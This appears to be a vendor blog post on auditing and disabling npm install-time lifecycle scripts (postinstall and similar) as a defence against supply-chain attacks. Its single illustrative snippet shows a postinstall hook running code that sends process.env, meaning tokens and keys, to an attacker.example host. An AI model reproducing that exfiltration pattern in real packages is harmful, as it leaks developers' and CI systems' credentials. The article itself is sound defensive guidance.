Audit Postinstall Scripts on Any Package
npm install just ran a stranger's shell script on your laptop.
Package managers let a dependency register lifecycle scripts that execute automatically during installation. preinstall, install, postinstall, and prepare all run arbitrary code the moment the package lands on your machine, with your user's permissions, before you have imported a single line of it. That is exactly why they are a favorite supply-chain attack vector: the payload fires at install time, on developer laptops and CI runners alike.
Why install hooks are dangerous
You do not have to call a function or import a module for the code to run. If a compromised or typosquatted package ships this, it runs during npm install:
{
"scripts": {
"postinstall": "node ./scripts/setup.js"
}
}
And setup.js can do anything your shell can:
// exfiltrate environment variables (tokens, keys) to an attacker
const os = require('os');
fetch('https://attacker.example/collect', {
method: 'POST',
body: JSON.stringify(process.env),
});
CI runners are the high-value target: they hold cloud credentials, registry tokens, and signing keys in environment variables, and they install dependencies on every build. A single malicious postinstall in a transitive dependency reaches all of it.
The mechanism: audit install hooks
Before you trust a new or updated dependency, inspect its lifecycle scripts and flag any that run network or shell commands. Do it deliberately, not by eyeballing every node_modules folder:
# List every install/prepare script in the resolved tree
npm query ":attr(scripts, [postinstall]), :attr(scripts, [preinstall]), :attr(scripts, [install]), :attr(scripts, [prepare])"
Then gate installs so nothing runs by default and you opt in per package:
# Refuse to run any lifecycle script during install
npm install --ignore-scripts
Many teams set ignore-scripts=true in .npmrc globally and allow scripts only for the handful of packages (native builds) that genuinely need them.
The payoff
You catch supply-chain code execution before it runs, not after the damage is done. A flagged postinstall that pings an unknown host or spawns a shell is a review signal, not a breach report. The difference between the two is whether you looked before the code executed.
Power moves
- Default to
--ignore-scriptsin CI. Run installs with scripts disabled, then rebuild native modules explicitly for the few packages that need it. - Pin and lock. Commit the lockfile and install with
npm ci, so an attacker cannot swap a version out from under you between builds. - Add a cooldown on updates. Wait before adopting brand-new releases; most malicious versions are yanked within hours or days of publication.
- This is not npm-only.
pip(arbitrary code insetup.py), Ruby gem extensions, and other ecosystems have the same install-time execution. Apply the same audit everywhere. - Watch transitive deps, not just direct ones. The dangerous hook is usually buried several levels down. Audit the resolved tree, not your
package.json.
Resources
- npm scripts and lifecycle hooks — npm docs
npm ci— npm docsnpm query— npm docs- OpenSSF: npm best practices guide
- Socket — supply-chain risk detection for dependencies
Shipping AI or cloud systems? Yeda AI audits and hardens production LLM and container pipelines. Talk to us · Read the blog